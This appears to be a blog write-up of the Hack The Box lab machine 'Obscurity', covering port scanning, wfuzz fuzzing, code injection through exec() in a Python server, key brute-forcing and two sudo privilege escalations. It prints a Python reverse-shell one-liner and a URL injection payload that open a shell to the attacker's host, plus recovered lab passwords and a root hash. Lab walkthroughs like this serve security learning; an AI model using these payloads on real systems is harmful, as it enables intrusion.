Introduction
Obscurity is a Medium box box from the Hack the box (HTB).
It involves directory fuzzing and then exploiting a python function followed by some crypto.And root was interesting did it in two ways .
Hope you will enjoy the writeup .
Lessons learned
- Fuzzing (using wfuzz)
- Sharpening python skills(eval(),exec())
- Learning Crypto
- Basic privilege escalation(two ways)
Steps invloved
- Port Scan
- Fuzzing Directory
- Exploiting exec()
- Bruteforceing key
- Getting User.txt
- Privilege escaltion
- Getting root.txt
Commands involved
1-nmap -sC -sV -oV 10.10.10.168
2-wfuzz -c -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -w /usr/share/dirb/wordlists/common.txt --hc 404
3-nc -nlvp 4444
4-ssh [email protected]
5-sudo -l
6-mv BetterSSH hack
7-mkdir BetterSSh
8-sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Port Scan
Nmap 7.70 scan initiated Wed Feb 5 09:22:20 2020 as: nmap -sC -sV -oV 10.10.10.168 Nmap scan report for 10.10.10.168 Host is up (0.25s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA) | 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA) |_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519) 80/tcp closed http 8080/tcp open http-proxy BadHTTPServer | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Date: Wed, 05 Feb 2020 14:23:11 | Server: BadHTTPServer | Last-Modified: Wed, 05 Feb 2020 14:23:11 | Content-Length: 4171 | Content-Type: text/html | Connection: Closed | | | | | 0bscura | | | | | | | | | | | | | | | | | | | \n\t\n\t\n\t\n\t\n\n\n\n\n\n\t\n\t\n\t\n\t\n\n\n\n\n
The first thing i always try to check is to see the website.
Port 80 is closed so let’s visit port 8080
Fuzzing Directory
In the development section it says that there is a SuperSecure.py in the secret development directory .
So there are two ways of doing one is with the guessing the help of past experience or fuzzing it with the help of a tool.
Let’s try to guess it first as the message is for development team so we can use some common names like
/dev ,/development , /developer ,/develop .
The one which was right is /develop.
So if you are not able to guess then you can use fuzzing tools .
One of the best tool is wfuzz.
So let’s use it.
If you are using a new tool then you must always check for the help that what options can be used with which options.
Simply type wfuzz –help
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. Wfuzz 2.3.3 - The Web Fuzzer * * Version up to 1.4c coded by: * Christian Martorella ([email protected]) * Carlos del ojo ([email protected]) * * Version 1.4d to 2.3.3 coded by: * Xavier Mendez ([email protected]) * Usage: wfuzz [options] -z payload,paramsFUZZ, ..., FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload. FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.
Options: -h/--help : This help --help : Advanced help --version : Wfuzz version details -e : List of available encoders/payloads/iterators/printers/scripts--recipe <filename> : Reads options from a recipe --dump-recipe <filename> : Prints current options as a recipe
--oF <filename> : Saves fuzz results to a file. These can be consumed later using the wfuzz payload.
-c : Output with colors
-v : Verbose information.
-f filename,printer : Store results in the output file using the specified printer (raw printer if omitted). -o printer : Show results using the specified printer. --interact : (beta) If selected,all key presses are captured. This allows you to interact with the program.
--dry-run : Print the results of applying the requests without actually making any HTTP request.
--prev : Print the previous HTTP requests (only when using payloads generating fuzzresults)
-p addr : Use Proxy in format ip:port:type. Repeat option for using various proxies. Where type could be SOCKS4,SOCKS5 or HTTP if omitted.
-t N : Specify the number of concurrent connections (10 default)
-s N : Specify time delay between requests (0 default) -R depth : Recursive path discovery being depth the maximum recursion level.
-L,--follow : Follow HTTP redirections -Z : Scan mode (Connection errors will be ignored).
--req-delay N : Sets the maximum time in seconds the request is allowed to take (CURLOPT_TIMEOUT). Default 90.
--conn-delay N : Sets the maximum time in seconds the connection phase to the server to take (CURLOPT_CONNECTTIMEOUT). Default 90. -A : Alias for --script=default -v -c --script= : Equivalent to --script=default
--script=<plugins> : Runs script's scan. <plugins> is a comma separated list of plugin-files or plugin-categories --script-help=<plugins> : Show help about scripts. --script-args n1=v1,... : Provide arguments to scripts. ie. --script-args grep.regex="<A href=\"(.*?)\">"
-u url : Specify a URL for the request.
-m iterator : Specify an iterator for combining payloads (product by default)
-z payload : Specify a payload for each FUZZ keyword used in the form of name[,parameter][,encoder]. A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1. Encoders category can be used. ie. url Use help as a payload to show payload plugin's details (you can filter using --slice)
--zP <params> : Arguments for the specified payload (it must be preceded by -z or -w). --slice <filter> : Filter payload's elements using the specified expression. It must be preceded by -z. -w wordlist : Specify a wordlist file (alias for -z file,wordlist). -V alltype : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword. -X method : Specify an HTTP method for the request, ie. HEAD or FUZZ -b cookie : Specify a cookie for the requests. Repeat option for various cookies. -d postdata : Use post data (ex: "id=FUZZ&catalogue=1") -H header : Use header (ex:"Cookie:id=1312321&user=FUZZ"). Repeat option for various headers. --basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ" --hc/hl/hw/hh N[,N]+ : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline) --sc/sl/sw/sh N[,N]+ : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline) --ss/hs regex : Show/hide responses with the specified regex within the content --filter <filter> : Show/hide responses using the specified filter expression (Use BBB for taking values from baseline) --prefilter <filter> : Filter items before fuzzing using the specified expression.
If you are new to security field then you can read otherwise proceed to next paragraph.
You guys might be thinking what is this wfuzz.
So let me explain you guys this a enumerating tool.Which takes a word-list.
Word-list is a collection of single words that are placed in a file with one string in a line.
There are many word lists in kali linux that are pre -installed .
Now let’s fuzz it.
wfuzz -c -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -w /usr/share/dirb/wordlists/common.txt --hc 404
Now what it does is replace the FUZZ word with the words in the wordlist and if and url opens then it shows success .
-c=color full output
-u =url
--hc 404= to hide 404 response
-w for specifying the word list
Exploiting exec()
Now let’s check what is in that code.
http://10.10.10.168:8080/develop/SuperSecureServer.py
visit this to see the code.
On reading the code we can understand it is a code or the server .
On further reading i saw exec() which can allow us to execute commands .
It contains functions like eval() and exec() which are highly dangerous for the server.
And through this we can get a command execution.
For more information on these vulnerable function go through
https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1
So now let’s get a reverse shell for this visit this site
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
It has lot of reverse shell so we will use python as the server is written in python.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
So we will be using the high lighted part only.Because the code of server has already imported those files.
So let’s do this.
- Start the nc listener
- nc -nlvp 4444
- visit the website with the reverse shell like this.
http://10.10.10.168:8080/';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_ip",port_number));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
And when you do every thing write you will get a shell.
We still can’t read the user.txt
Bruteforceing key
But goty some other files like check.txt ,
out.txt
,passwordreminder.txt,
SuperSecureCrypt.py
Now it was time to brute force the key .
! /bin/bash
echo "" > log
while read p; do
python3 secure.py -i reminder.txt -o test -k $p -d > /dev/null
RESULT=$(cat test)
echo "Password ${p} : ${RESULT}" >> log
done < rockyou.txt
Getting User.txt
Once i did this i got the creds of robert as SecThruObsFTW
So let’s ssh into it.As port 22 was open.
Privilege Escalation
Intended way
In this I found BetterSSH.py which was copying the shadow file which contains the password hashes.
In sudo -l also i found the same script which we can run as root.
But when i run it shows me error that file not found
There are two ways of root which i saw one was this that we should immediately read the hash as it is copied through this script and that decrypt that hash using hash cat .
Through this i got hash and password .
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1 And password for root was mercedes
Unintended way
But let’s do it with the most easier way i saw that i can write on the file betterssh.py .
But what i noticed is that i can change the directory BetterSSH.
So i did it and created my BetterSSH.py in it.
This script i wrote was just for testing .
Here is my BetterSSH.py
import os
cmd = 'whoami'
os.system(cmd)
Getting Root.txt
So to get full shell i changed my script .
import os
cmd = '/bin/bash'
os.system(cmd)
And now I got the full shell as root.
If you liked my writeup then please support me and help me to get a better device.
🤟🤟🤟
https://waterfallmagazine.com
Wonderful work! This is the kind of information that are meant to be shared across the web.
Shame on Google for now not positioning this publish higher!
Come on over and visit my website . Thanks =)